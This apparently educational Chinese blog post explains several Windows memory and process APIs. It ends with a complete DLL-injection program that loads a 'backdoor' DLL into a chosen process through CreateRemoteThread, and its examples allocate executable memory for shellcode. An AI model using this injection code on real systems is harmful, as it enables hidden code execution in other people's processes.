Windows API 学习

2020-12-25 15:26

阅读:645

标签:LLC   自动   read   buffer   http   readwrite   base   word   打开   

Windows API学习

以下都是我个人一些理解,笔者不太了解windows开发,如有错误请告知,非常感谢,一切以microsoft官方文档为准。

https://docs.microsoft.com/en-us/windows/win32/api/

VirtualAlloc()

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN

概述

在调用进程的虚拟地址空间中保留,提交或更改页面区域的状态。此功能分配的内存将自动初始化为零。

简单讲就是分配大内存空间。

语法:

C++
LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

示例代码:

VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//个人理解
VirtualAlloc(起始地址, shellcode的大小, 分配虚拟空间地址,赋予执行或只读权限)

DWORD flAllocationType请查看这里

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN

DWORD flProtect请查看这里

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

VirtualAllocEx()

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

概述

在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。

与VirtualAlloc()最大的区别就是VirtualAllocEx()可以使得分配的空间指定在一个进程中的内存地址里面,该函数常用在进程注入。

语法:

c++
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

示例代码:

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

//个人理解,processHandle为我自己创建的读取到的进程句柄
VirtualAllocEx(句柄, 起始地址, shellcode的大小, 分配虚拟空间地址, 赋予执行或只读权限)

OpenProcess()

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

概述

打开进程对象。

语法:

c++
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

示例代码:

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

//个人理解
OpenProcess(进程对象的最大访问权限, 不继承句柄, 要打开的本地进程的标识符。)

WriteProcessMemory()

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

概述

在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。

语法:

c++
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

示例代码:

WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

//个人理解,(LPVOID)dllPath可以为你后门dll的路径,即你要注入的dll路径。
WriteProcessMemory(上面要读取的进程的句柄, 使用VAE函数加载shellcode成功后返回的基地址, 要注入的dll地址, 注入dll的大小, 指向变量的指针.该变量接收传输到指定进程中的字节数)

案例

这是一个经典的dll注入远程进程的案例,可以方便你更好的理解 上面的函数。

inject-dll.cpp
int main(int argc, char *argv[]) {
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
	
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
	CloseHandle(processHandle); 
	
	return 0;
}

编译以上代码,并提供需要注入的进程pid,你将把evilm64.dll注入到pid进程中。

未完

之后还会陆续更新一些自己学到的Windows API函数。

Windows API 学习

标签:LLC   自动   read   buffer   http   readwrite   base   word   打开   

原文地址:https://www.cnblogs.com/Secde0/p/14162384.html


评论


亲,登录后才可以留言!